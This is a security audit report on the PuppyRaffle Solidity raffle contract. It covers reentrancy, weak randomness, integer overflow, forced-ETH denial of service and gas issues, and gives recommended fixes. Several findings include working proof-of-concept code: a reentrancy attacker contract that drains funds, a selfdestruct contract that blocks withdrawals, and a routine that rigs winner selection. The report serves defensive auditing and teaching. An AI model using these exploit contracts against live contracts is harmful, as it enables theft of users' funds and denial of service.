

PuppyRaffle Audit Report

Version 1.0

CJ

October 11, 2026

Protocol Audit Report

CJ

October 11, 2026

Prepared by: CJ

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	7
Gas	2
Total	17

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund()` allows entrant to drain the balance.

Description: The`PuppyRaffle::refund()` function does not follow the CEI(Check-Effect-Interactions) and as a result, it allows participant to drain the contract balance.

In `PuppyRaffle::refund()` function, we first make a external call to the `msg.sender` address and only after that we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11
12 @>       payable(msg.sender).sendValue(entranceFee);
13 @>       players[playerIndex] = address(0);
14
15         emit RaffleRefunded(playerAddress);
16     }
```

A player who has entered raffle could have a `recieve()`or`fallback()` function that calls `PuppyRaffle::refund()` function again and claim another refund. They could continue the cycle till contract balance is drained.

Impact: All fees paid by entrace could be stolen by malicious participant.

Proof of Concept:

1. User enter raffle
2. Attacker set up a malicious contract with a `fallback` function that calls `PuppyRaffle::refund()`
3. Attack enters raffle
4. Attack call `PuppyRaffle::refund()` from their malicous contract to drain contract balance.

Poc Code

Place the following into `PuppyRaffle.t.sol`

```
function test_reentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
           attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console2.log(
            "starting AttackCountrat Balance: ",
            startingAttackContractBalance
        );
        console2.log("starting contract Balance: ",
           startingContractBalance);

        console2.log(
            "ending AttackCountrat Balance: ",
            address(attackerContract).balance
        );
        console2.log("ending Contract Balance: ", address(puppyRaffle).
           balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
```

```
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackIndex = puppyRaffle.getActivePlayerIndex(address(this));
17
18          puppyRaffle.refund(attackIndex);
19      }
20
21      function _stealmoney() internal {
22          if (address(puppyRaffle).balance >= entranceFee) {
23              puppyRaffle.refund(attackIndex);
24          }
25      }
26
27      fallback() external payable {
28          _stealmoney();
29      }
30
31      receive() external payable {
32          _stealmoney();
33      }
34  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund()` function update the `players` before making the external call. Additionally, we should moved event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2               address playerAddress = players[playerIndex];
3               require(
4                   playerAddress == msg.sender,
5                   "PuppyRaffle: Only the player can refund"
6               );
7               require(
8                   playerAddress != address(0),
9                   "PuppyRaffle: Player already refunded, or is not active
                        "
10              );
11
12  -           payable(msg.sender).sendValue(entranceFee);
13              players[playerIndex] = address(0);
14              emit RaffleRefunded(playerAddress);
15  +           payable(msg.sender).sendValue(entranceFee);
16          }
```

[H-2] Week randomness in `PuppyRaffle::selectWinner()` function allows user to influence or predict the winner and influence or predict the winning puppy.

Description: The `PuppyRaffle::selectWinner()` function uses `msg.sender`,`block.timestamp` and `block.difficulty`to generate a random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results

Proof of Concept: 1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy. Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer Overflow of `PupppyRaffle::totalFees` loses fees.

Description: In solidity version prior `0.8.0` integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner()`, `totalFees` can be incremented to maximum value, and on the next call, it will overflow and the amount of fees collected will be incorrect.

Proof of Concept: 1. We conclude 4 players entered raffle, each paying 1 ETH in entrance fee. 2. We then have 89 players enter a new raffle, and conclude the raffle. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
//substituted:
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not able to withdrawFees by `PuppyRaffle::withdrawFees()` because of the check:

```
    require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Poc code

```
function test_totalFeesOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint64 startingtotalFees = puppyRaffle.totalFees();
        console2.log("startingtotalFees is :", uint256(
           startingtotalFees));

        address[] memory players = new address[](89);
        for (uint256 i = 0; i < 89; i++) {
            players[i] = vm.addr(i + 4);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint64 endingtotalFees = puppyRaffle.totalFees();
        console2.log("endingtotalFees is :", uint256(endingtotalFees));
        assert(endingtotalFees < startingtotalFees);

        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are few recommand mitigation here

1. Use a newer version of solidity:

```
-   pragma solidity ^0.7.6;
+   pragma solidity ^0.8.0;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

1. Use type uint256 for `totalFees` instead of uint64:

```
-  uint64 totalFees;
+  uint256 totalFees;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees diff - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Forced ETH Transfers Can Permanently Block

Description: The `PuppyRaffle::withdrawFees()` function requires the contract's ETH balance to be exactly equal to `totalFees` before allowing fee withdrawals.

```
require(
    address(this).balance == uint256(totalFees),
    "PuppyRaffle: There are currently players active!"
);
```

However, ETH can be forcibly sent to a contract using selfdestruct, even if the receiving contract does not implement a `receive()` or `fallback()` function. An attacker can exploit this by forcibly sending a small amount of ETH (even 1 wei) to `PuppyRaffle`, increasing the contract's balance without updating `totalFees`. As a result, the equality check will fail, preventing fee withdrawals.

Impact: An attacker can exploit this by forcibly sending a small amount of ETH (even 1 wei) to PuppyRaffle, increasing the contract's balance without updating totalFees. As a result, the equality check will fail, preventing fee withdrawals.

Proof of Concept: 1. Complete a raffle so that the contract's ETH balance equals totalFees. 2. Deploy a malicious contract funded with 1 wei. 2. Call selfdestruct to forcibly transfer the 1 wei to `PuppyRaffle`. 4. The contract's ETH balance becomes greater than totalFees. 5. Call `withdrawFees()` and observe that the transaction reverts.

Poc code

Add the following helper contract to the test file, outside the test contract:

```
contract ForceETH {
    constructor() payable {}

    function attack(address payable target) external {
        selfdestruct(target);
    }
}
```

Add the following test to PuppyRaffleTest:

```
function test_ForceETH_DoS() public playersEntered {
    vm.warp(puppyRaffle.raffleStartTime() + duration + 1);
    vm.roll(block.number + 1);
```

```
4
5       puppyRaffle.selectWinner();
6
7       uint256 recordedFees = puppyRaffle.totalFees();
8
9       assertGt(recordedFees, 0);
10      assertEq(address(puppyRaffle).balance, recordedFees);
11
12      vm.deal(address(this), 1 wei);
13
14      ForceETH attacker = new ForceETH{value: 1 wei}();
15      attacker.attack(payable(address(puppyRaffle)));
16
17      assertEq(
18          address(puppyRaffle).balance,
19          recordedFees + 1 wei
20      );
21      assertEq(puppyRaffle.totalFees(), recordedFees);
22
23      vm.expectRevert(
24          "PuppyRaffle: There are currently players active!"
25      );
26      puppyRaffle.withdrawFees();
27  }
```

Recommended Mitigation: Avoid relying on strict equality between the contract's ETH balance and its internal accounting. Replace the equality check with a check that ensures the contract holds sufficient ETH to cover the recorded fee:

```
1  - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
2  + require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Medium

[M-1] Looping through players array to caheck for duplicate in `PuppyRaffle::enterRaffle` is a potential denial of service attack, incrementing gas cost for future entrants.

Description: The `PuppyRaffle::enterRaffle` funciton loops through the `players` array to check the duplicates. However, the longer the `PuppyRaffle::players` is, the more checks of new player will have to make. This means the gas costs for players who enter right the raffle start will be dramatically lower then those who enter later.Every additional address in the `players` array is an additional check the will loop have to make.

```
1  // @audit Dos Attack
```

```
2  @>      for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter,discoraging later users from entering and causing a rush at the start of a raffle one of the first entrants inqueue.

An attack might make the array`PuppyRaffle::players` so big that no one else enters, guaranteeing themselves win.

Proof of Concept: If we have 2 catchs of 100 players enter , the gas cost will be as such: - 1st 100 players: ~ 6503225 gas - 2ed 100 players: ~ 18995462 gas

This is more than 3x more expensive for the second 100 players.

```
1  function test_denialOfService() public {
2          // address[] memory players = new address[](1);
3          // players[0] = playerOne;
4          // puppyRaffle.enterRaffle{value: entranceFee}(players);
5          // assertEq(puppyRaffle.players(0), playerOne);
6          vm.txGasPrice(1);
7
8          //100 players enter the raffle
9          uint256 playerNum = 100;
10         address[] memory players = new address[](playerNum);
11         for (uint256 i = 0; i < playerNum; i++) {
12             players[i] = address(i);
13         }
14         //show how much gas it cost
15         uint256 gasStart = gasleft();
16         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
17         uint256 gasEnd = gasleft();
18         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
19         console2.log("Gas cost of first 100 players:", gasUsedFirst);
20
21         //enter another 100 player
22         address[] memory playersTwo = new address[](playerNum);
23         for (uint256 i = 0; i < playerNum; i++) {
24             playersTwo[i] = address(i + playerNum);
25         }
26         //show how much gas another 100 player cost
27         gasStart = gasleft();
28         puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
               }(playersTwo);
29         gasEnd = gasleft();
30         uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
31         console2.log("Gas cost of second 100 players:", gasUsedSecond);
```

```
32
33          assert(gasUsedFirst < gasUsedSecond);
34      }
```

Recommended Mitigation: There are few reconmmandations.

1. Consider allowing duplicates. Users can make new wallet address anyways, so a duplicate check doesn't prevents the same person to entering mulitiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 raffleId = 1;
3  .
4  .
5  .
6
7       function enterRaffle(address[] memory newPlayers) public payable {
8           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
9           for (uint256 i = 0; i < newPlayers.length; i++) {
10 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
11 +            addressToRaffleId[newPlayers[i]] = raffleId;
12              players.push(newPlayers[i]);
13          }
14
15 -        // Check for duplicates
16 -        for (uint256 i = 0; i < players.length - 1; i++) {
17 -            for (uint256 j = i + 1; j < players.length; j++) {
18 -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
19 -            }
20 -        }
21          emit RaffleEnter(newPlayers);
22      }
23 .
24 .
25 .
26      function selectWinner() external {
27 +        raffleId ++;
28         (bool success,) = winner.call{value: prizePool}("");
29          require(success, "PuppyRaffle: Failed to send prize pool to
                winner");
30      }
```

[M-2] Unsafe cast of `PuppyRaffle::fee` lose fees.

Description: In `PuppyRaffle::selectWinner()`, there is a type cast of a `uint256` to `uint64`. This is an unsafe cast as the total fees can exceed the maximum value of a `uint64`.

```
1  function selectWinner() external {
2          require(
3              block.timestamp >= raffleStartTime + raffleDuration,
4              "PuppyRaffle: Raffle not over"
5          );
6          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
7          uint256 winnerIndex = uint256(
8              keccak256(
9                  abi.encodePacked(msg.sender, block.timestamp, block.
                       difficulty)
10             )
11         ) % players.length;
12         address winner = players[winnerIndex];
13         uint256 totalAmountCollected = players.length * entranceFee;
14         uint256 prizePool = (totalAmountCollected * 80) / 100;
15         uint256 fee = (totalAmountCollected * 20) / 100;
16 @>      totalFees = totalFees + uint64(fee);
17         uint256 tokenId = totalSupply();
18         uint256 rarity = uint256(
19             keccak256(abi.encodePacked(msg.sender, block.difficulty))
20         ) % 100;
21         if (rarity <= COMMON_RARITY) {
22             tokenIdToRarity[tokenId] = COMMON_RARITY;
23         } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
24             tokenIdToRarity[tokenId] = RARE_RARITY;
25         } else {
26             tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
27         }
28         delete players;
29         raffleStartTime = block.timestamp;
30         previousWinner = winner;
31         (bool success, ) = winner.call{value: prizePool}("");
32         require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
33         _safeMint(winner, tokenId);
34     }
```

The maximum value of `uint64` is `18446744073709551615`. In the terms of ETH, this is only 18.44 ETH. Meaning if `fee` is more than 18.44 ETH, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. A raffle procceeds with little more than 18 ETH worth of `fees` collection. 2.

The line `totalFees = totalFees + uint64(fee);` will truncate the value of `fee`. 3. The `totalFees` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Change `totalFees` to `uint256` and remove the cast of `fee` to `uint64`.

```
-       uint64 public totalFees = 0;
+       uint256 public totalFees = 0;
.
.
.
        function selectWinner() external {
            require(
                block.timestamp >= raffleStartTime + raffleDuration,
                "PuppyRaffle: Raffle not over"
            );
            require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
            uint256 winnerIndex = uint256(
                keccak256(
                    abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
                )
            ) % players.length;
            address winner = players[winnerIndex];
            uint256 totalAmountCollected = players.length * entranceFee;
            uint256 prizePool = (totalAmountCollected * 80) / 100;
            uint256 fee = (totalAmountCollected * 20) / 100;
-           totalFees = totalFees + uint64(fee);
+           totalFees = totalFees + fee;
.
.
.
        }
```

[M-3] Smart contract wallet raffle winner without a `receive` or `fallback` function will block the start of new contest.

Description: The `PuppyRaffle::selectWinner()` function sends the prize pool to the winner using `winner.call{value: prizePool}("")`. If the winner's account doesn't have a payable fallback function, it will revert.

Impact: The winner will not receive the prize pool, and the function will revert many times when trying to start a new contest.

Proof of Concept: 1. 4 players enter the raffle. 2. We introduce a user `RejectRecipient` who doesn't have a payable fallback function. 3. We influnce the `selectWinner()` function to select the `RejectRecipient` as the winner. This is done by using `vm.prevrandao()` and `vm.prank()` to manipulate the random seed and the caller of the function. 4. `PuppyRaffle::selectWinner()` will send the prize pool to the `RejectRecipient` using `winner.call{value: prizePool}("")`. 5. `RejectRecipient` will revert because it doesn't have a payable fallback function. 6. `PuppyRaffle::selectWinner()` will revert because the winner didn't receive the prize pool. And can't start a new contest.

Poc code

Please add these to `PuppyRaffle.t.sol`:

```
function test_selesctwinner_Dos_Push_Over_Pull() public playersEntered {
        RejectRecipient rejectRecipient = new RejectRecipient(puppyRaffle);
        vm.deal(address(rejectRecipient), 1 ether);
        rejectRecipient.enterRaffle();
        uint256 previousRaffleStartTime = puppyRaffle.raffleStartTime();
        address expectedCaller = address(rejectRecipient);
        uint256 expectedTimeStamp = block.timestamp + duration + 1;
        uint256 targetIndex = 4;
        uint256 playersLen = 5;
        for (uint256 diff = 0; diff < 1000; diff++) {
            uint256 currentIndex = uint256(
                keccak256(
                    abi.encodePacked(expectedCaller, expectedTimeStamp, diff)
                )
            ) % playersLen;
            if (currentIndex == targetIndex) {
                vm.prevrandao(bytes32(diff));
                break;
            }
        }

```

```
22          vm.warp(expectedTimeStamp);
23          vm.roll(block.number + 1);
24          vm.prank(address(rejectRecipient));
25          vm.expectRevert("PuppyRaffle: Failed to send prize pool to
                winner");
26          puppyRaffle.selectWinner();
27          assertEq(previousRaffleStartTime, puppyRaffle.raffleStartTime()
                );
28      }
```

as well add this contract:

```
1  contract RejectRecipient {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4
5      constructor(PuppyRaffle _puppyRaffle) {
6          puppyRaffle = _puppyRaffle;
7          entranceFee = puppyRaffle.entranceFee();
8      }
9
10     function enterRaffle() public {
11         address[] memory players = new address[](1);
12         players[0] = address(this);
13         puppyRaffle.enterRaffle{value: entranceFee}(players);
14     }
15 }
```

Recommended Mitigation: There are a few options to mitigate this issue. 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex()` return 0 for non-exist players and index 0 player. It might let player at index 0 incorrenctly think they have not entered raffle.

Description: The `PuppyRaffle::getActivePlayerIndex()` function is used to get the index of a player in the `players` array. However, it returns 0 for both non-existent players and the player at index 0. This could lead to confusion for users who might think they haven't entered the raffle when they actually have.

```
1  function getActivePlayerIndex(
2          address player
3      ) external view returns (uint256) {
```

```
4           for (uint256 i = 0; i < players.length; i++) {
5               if (players[i] == player) {
6                   return i;
7               }
8           }
9           return 0;
10      }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation is revert when player is not in array instead of return 0.

You could reserve the 0th position for any competation, but a better solution might be return an `int256` where function return -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PupptRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PupptRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached.

Every time you call `players.length` it read from storage, as opposed to memory which is more gas efficient.

```
1  +       uint256 playersLength = players.length
2  -       for (uint256 i = 0; i < players.length - 1; i++) {
3  +       for (uint256 i = 0; i < playersLength - 1; i++) {
4  -           for (uint256 j = i + 1; j < players.length; j++) {
5  +           for (uint256 j = i + 1; j < playersLength; j++) {
6                  require(
```

```
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Informational/Non-Crits

[I-1] Unspecific Solidity Pragma.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated Version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documation for more information.

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 71

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 204

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner()` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks-Effects-Interactions).

```
- (bool success, ) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success, ) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Magic numbers should be declared as constants

It can be confusing to see number literaly in codebase, and it's more readable if the numbers are replaced by constants.

Instances:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you can use:

```
uint256 public constant PRIZE_POOL_PERCENT = 80;
uint256 public constant PRIZE_FEE_PERCENT = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENT) / POOL_PRECISION;
uint256 fee = (totalAmountCollected * PRIZE_FEE_PERCENT) / POOL_PRECISION;
```

[I-6] State change without events.

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol. It is best practice to emit an event whenever an action results in a state change. Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `PuppyRaffle::_isActivePlayer()` is dead code.

Description: The function `PuppyRaffle::_isActivePlayer()` is a private function that is not used anywhere in the contract. This is known as dead code and should be removed to avoid confusion.

```
-   function _isActivePlayer() internal view returns (bool) {
-           for (uint256 i = 0; i < players.length; i++) {
-               if (players[i] == msg.sender) {
-                   return true;
-               }
-           }
-           return false;
-       }
```